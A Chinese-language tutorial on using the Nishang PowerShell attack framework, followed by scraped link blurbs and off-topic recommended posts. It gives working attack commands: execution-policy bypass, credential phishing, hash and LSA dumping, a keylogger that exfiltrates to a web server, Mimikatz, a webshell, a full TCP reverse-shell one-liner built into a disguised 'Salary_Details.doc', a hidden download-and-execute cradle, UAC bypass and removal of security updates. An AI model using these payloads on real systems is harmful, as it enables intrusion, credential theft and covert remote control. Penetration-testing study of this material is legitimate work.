nishanhg
下载地址:https://github.com/samratashok/nishing
1.简介
nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用。也就是说win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0
2.环境准备
查看powershell版本
get-host 或者 $PSVersionTable.PSVersion
Win Server 对应的 Powershell的版本如下:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
这里我们使用win 10 进行测试:
1.修改执行策略
为防止恶意脚本的运行,powershell 有一个执行策略,默认情况下该执行策略被设置为Restricted受限,而Restricted是不允许任何脚本运行的。
在powershell 脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
Get-ExecutionPolicy
Restricted: 脚本不能运行(默认设置)
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
AllSigned: 仅当脚本由受信任的发布者签名时才能运行
Unrestricted: 允许所有的script脚本运行
通过以下cmdlet可以设置Powershell的执行策略
Set-ExecutionPolicy <policy nmae>
在真实的攻击场景之下,我们可以通过以下几种方式Bypass执行策略:
0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,也算是去更改了当前的全局策略
1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种,-Windowstyle hidden 可以让我们的执行无任何弹窗
2. PowerShell.exe -ExecutionPolicy Bypass -File
更多Bypass姿势,可以参考Bypass执行策略的十五种方法:
2.加载脚本
在导入模块的时候会有警告提示,这里其实已经导入成功了,警告无需理会。
Import-Module ./nishang.psm1 # 导入模块
Get-Command -Module nishang #查看模块列表
3.模块及对应功能说明
4.模块使用
4.1.信息收集(Gather)
- Check-VM #检测当前机器是否为虚拟机
- Invoke-CerdentialsPhish #欺骗目标书记,输入密码
- Copy-VSS #利用Volume shadow Copy服务复制sam文件
- FireBuster FireListener #对内网扫描,打开本机监听,然后远程传输数据到FireListener
4.1.1 Check-VM
他是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。
Get-Information
使用命令 Get-Information,可以列出本机的信息。
这个脚本可以获取目标机器上大量的信息(用户信息、FTP访问,进程,计算机配置信息,安装的软件信息、开启的windows服务信息、无线网络和设备的信息,Hosts信息等)
Invoke-CredentialsPhish
这个脚本是用来欺骗用户输入账号密码信息的,执行后会弹出登录框欺骗用户输入账号密码信息,
最流氓的是这个框是关不掉的,用户只有输入正确的账号密码这个框才会消失。
直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码:
4.1.3 Copy-VSS
PS > Copy-VSS //将会直接把Sam文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:\temp //指定保存sam文件的路径
FireBuster FireListener
FireBuster可以对内网进行扫描,本地开了监听,然后它会把包远程传送给FireListener
FireListener -PortRange 130-150
FireBuster 192.168.190.136 130-150 -Verbose
该脚本作者的Github上面还提供了一个Python版的监听端:
Get-LSASecret
该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名
注:该模块只支持在32位的powershell中运行。
powershell x86
Get-PassHashes
这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。
PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果
Get-WLAN-Keys
在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=”” key=clear来获取。
PS > Get-WLAN-Keys
Keylogger
Keylogger可以保存下用户的键盘记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > .Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
PS > .Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中
注:Keylogger模块需要进入Gather目录下才能执行
默认在Temp目录下生成Key文件,这时我们可以使用nishang Utility中的Parse_Keys来解析
PS >Parse_Keys key.log parsed.txt
然后parsed.txt里面就是解析后的按键记录了
Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系统用户密码。 这里使用Server 2012进行测试。
PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
当执行完Invoke-MimikatzWDigestDowngrade计算机会自动锁屏。
dump失败
Get-PassHints
这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。
PS > Get-PassHints
屏幕窃取
Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
目标机器:Show-TargetScreen -Reverse -IPAddress 192.168.190.133 -Port 1521
攻击机:netcat -nlvp 1521 | netcat -nlvp 9999
这里能够接收到源源不断的MJPEG视频流
正向连接窃取屏幕
靶机执行:Show-TargetScreen -Bind -Port 1521
攻击机执行:netcat -nv 192.168.190.147 1521 | netcat -lnvp 9999
之后同样访问本机的9999端口,就能正常访问目标机器的桌面的实时画面了。
Invoke-Mimikatz
Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"
1.域相关脚本
Get-Unconstrained
查找域内开启了Kerberos Unconstrained Delegation的机器。
PS > Get-Unconstrained //返回开启的计算机名
PS > Get-Unconstrained -Details //返回更详细的信息
关于”通过Kerberos Unconstrained Delegation获取到域管理员”:
2.Antak Webshell
存放于Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,可以实现编码、执行脚本,上传、下载文件等等。
- 上传Webshell后把它当成一个正常的Powershell执行窗口来使用
- 上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可
关于Antak Webshell的更多介绍,请参考:
Username:Disclaimer
Password:ForLegitUseOnly
web界面的powershell窗口界面
4.生成木马
nishang中包含各种木马脚本,可以用来感染各种文件,如hta、word等,用于执行powershell脚本进行隐蔽攻击。
各个脚本的使用方法基本类似,
首先设置监听 nc -nvlp 1521
接着制作word文件,打开nishang\Shells目录下的 Invoke-PowerShellTcpOneLine.ps1文件,
修改远程连接的地址,复制代码:
$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
进入powershell命令行下执行如下代码:
Invoke-Encode -DataToEncode '你的代码' -IsString -PostScript
Invoke-Encode -DataToEncode '$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' -IsString -PostScript
执行完成之后会在当前目录下生成两个文件。一个是encoded.txt 另一个是encodedcommand.txt。
之后执行Out-Word -PayloadScript .encodedcommand.txt
就可以在我们当前文件夹下生成一个名为Salary_Details.doc的doc文件。之后使用nc监听就好
说完了操作,回过头来看看命令行参数
-Payload 后面直接加payload,但是注意引号的闭合
-PayloadURL 传入远程的payload进行生成
-PayloadScript 指定本地的脚本进行生成
-Arguments 之后加要执行的函数。(payload之中有的函数)
-OutputFile 输出的文件名
-WordFileDir 输出的目录地址
-Recurse 在WordFileDir中递归寻找Word文件
-RemoveDocx 创建完成后删除掉原始的文件
5.权限提升
Enable-DuplicateToken
这个脚本可以帮助我们在已经获得了一定权限的情况下,使我们提升到System权限。
PS > Enable-DuplicateToken
具体的相关介绍可以查阅:
Remove-Update
这个脚本可以帮助我们移除系统所有的更新,或所有安全更新,以及指定编号的更新。
执行方式:
- PS > Remove-Update All //移除目标机器上的所有更新
- PS > Remove-Update Security //移除目标机器上所有安全相关更新
- PS > Remove-Update KB2761226 //移除指定编号的更新
Invoke-PsUACme
Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。
上表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。
执行方式:
- PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
- PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
- PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload参数可以自行指定要执行的Payload
除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:WindowsTempcmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。
关于Invoke-PsUACme模块的具体使用可以参考帮助信息
Get-Help Invoke-PsUACme -Full
6.扫描
Invoke-BruteForce
这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破
可以使用 Get-Help Invoke-PortScan -full 查看帮助信息
相关链接:
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
https://github.com/samratashok/nishang
1.端口扫描
Invoke-PortScan
利用这个脚本我们可以在目标机器上对内网进行端口扫描
PS >Invoke-PortScan -StartAddress 192.168.190.1 -EndAddress 192.168.190.254 -ResolveHost -ScanPort -Port 80
主要的参数:
- StartAddress 扫描范围开始的地址
- EndAddress 扫描范围结束的地址
- ScanPort 进行端口扫描
- Port 指定扫描端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111, 3389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
- TimeOut 设置超时时间
2.弱口令爆破
- 爆破域控制器
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
- 爆破SQL Server
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
- 爆破server.txt中所有servers的SQL Server
PS > cat C:\servers.txt | Invoke-BruteForce -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
主要的参数:
- ComputerName 用于指定对应服务的计算机名
- UserList 用户名字典
- PasswordList 密码字典
- Service 服务类型(注意默认为:SQL)
- StopOnSuccess 成功找到一个后就停止执行
7.中间人嗅探
Invoke-Interceptor
这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来
PS >Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口
可以通过ListenPort来修改我们目标机器上的监听端口(默认8081端口)
我们在目标机器上执行:Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 9999
监听机器上执行:netcat -lvvp 9999
接收到了来自目标机的请求数据
并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据
反弹
TCP的shell
正向链接:
目标:PowerShell下执行:Invoke-PowerShellTcp -Bind -Port 1521
攻击机:NC下执行:nc -nv 192.168.190.147 1521
反向链接:
目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433
攻击机:nc -lvp 1433
UDP的shell
正向链接:
目标:Invoke-PowerShellUdp -Bind -Port 1521
攻击机:nc -nv 192.168.190.147 1521
反向链接:
目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433
攻击机:nc -lvp 1433
HTTP/HTTPS的shell
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.190.147 -Port 1521
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.147 -Port 1521
运行完命令会生成一条powershell命令,将该命令在目标机器cmd下运行本机即可获得shell
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-
Object Net.WebClient).DownloadString('http://192.168.190.147:1521/connect'))
目标机器运行完上述命令cmd会自动关闭,同时攻击机获得shell
参考
- Kali社会工程学攻击--powershell 攻击(无视防火墙)
1.打开setoolkit 输入我们反弹shell的地址与端口 2.修改我的shellcode 3.攻击成功
- Powershell渗透测试系列–进阶篇
原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html i春秋作家:anyedt 0×00 引言 经过基础篇的学习我们已经对powershell有了一个 ...
- 11.PowerSploit攻击指南
本人小白,写这篇文章主要记录一下自己的PowerShell学习之路,大牛请绕道:https://www.anquanke.com/subject/id/90541 首先PowerShell的攻击工具有 ...
- nishang的介绍与使用
0x01前言 Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合.Nishang被广泛应用于渗透测试的各个阶段,本文主要介绍如何使用Nishang的 ...
- [Shell]Powershell反弹shell
原作者:Cream 文章出处: 贝塔安全实验室 0x01 Powershell反弹shell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 . ...
- PowerShell入门学习
一.概要 Powershell是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境. powershell需要.NET环境的支持,同时支持.NET对象.之所以将Powershell ...
- Final——Nishang
一.介绍 Nishang是基于PowerShell的渗透测试专用工具,它集成了框架.脚本和各种payload,被广泛应用于渗透测试的各个阶段. 二.使用 下载脚本工具:Nishang Nishang需 ...
- 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践
目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...
- 基于ArduinoLeonardo板子的BadUSB攻击实战
0X00 前言 在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的<利用Arduino快速制作Teensy BadUSB>无论从科普还是实践都给我们详尽的描述了Bad ...
随机推荐
- Nginx 日志文件 access_log详解及日志分割
Module ngx_http_log_module nginx 日志相关指令主要有两条, 一条是log_format,用来设置日志格式,另外一条是access_log,用来指定日志文件的存放路径.格 ...
- MOOC C++笔记(一):从C到C++
第一周:从C到C++ 引用 概念 类型名&引用名=某变量名 某个变量的引用,等价于这个变量,相当于该变量的别名 注意事项 1.定义引用时一定要将其初始化成引用某个变量. 2.初始化后,它就一直 ...
- .netCore+Vue 搭建的简捷开发框架 (3)-- Services层实现
继续交作业: 上一篇作业中我们实现了 Repository仓储层的应用.并为我们的框架引入了EFCore 详见: .netCore+Vue 搭建的简捷开发框架 (2)--仓储层实现和EFCore 的使 ...
- Layer弹层(父子传值,兄弟传值)
需求:最外面列表界面点修改弹出LayerA界面,再点击LayerA界面中的选择地图坐标按钮弹出LayerB地图界面 这个过程涉及到的: 1:LayerA将坐标传给LayerB,LayerB在地图上显示 ...
- [python]OS文件系统
1.getcwdd() 获得应用程序当前的工作目录 #getcwd() 获取应用程序当前的工作目录 import os print(os.getcwd()) 2.chdir(path) 改变当前工作目 ...
- 使用 .NET Core 3.0 的 AssemblyLoadContext 实现插件热加载
一般情况下,一个 .NET 程序集加载到程序中以后,它的类型信息以及原生代码等数据会一直保留在内存中,.NET 运行时无法回收它们,如果我们要实现插件热加载 (例如 Razor 或 Aspx 模版的热 ...
- java架构之路-(面试篇)JVM虚拟机面试大全
下文连接比较多啊,都是我过整理的博客,很多答案都在博客里有详细说明,理解记忆是最扎实的记忆.而且我的答案不一定是最准确的,但是我的答案不会让你失望,而且几乎每个答案都是问题的扩展答案. 1.JVM内存 ...
- 实际体验华为云AI : ModelArts
国庆前看到了博客园官方博客发布的一篇博客: 学AI有奖:博客园&华为云AI有奖训练营开战啦 本着对AI这种火热的话题,以及华为云博客园联名公仔(次要),我决定参与这个活动. 现在华为云开始全面 ...
- js数组和表的基本操作
数组 var v = [3, 6, "hello"]; console.log(v.length); 数组的遍历1 function ss() { for (var i = 0; ...
- 安装web3失败问题
① 首先可以先通过 npm cache verify 清理下缓存,在进行安装 ② 如果还是安装失败可以尝试 --- npm install web3@^0.20.0 或者 npm install ...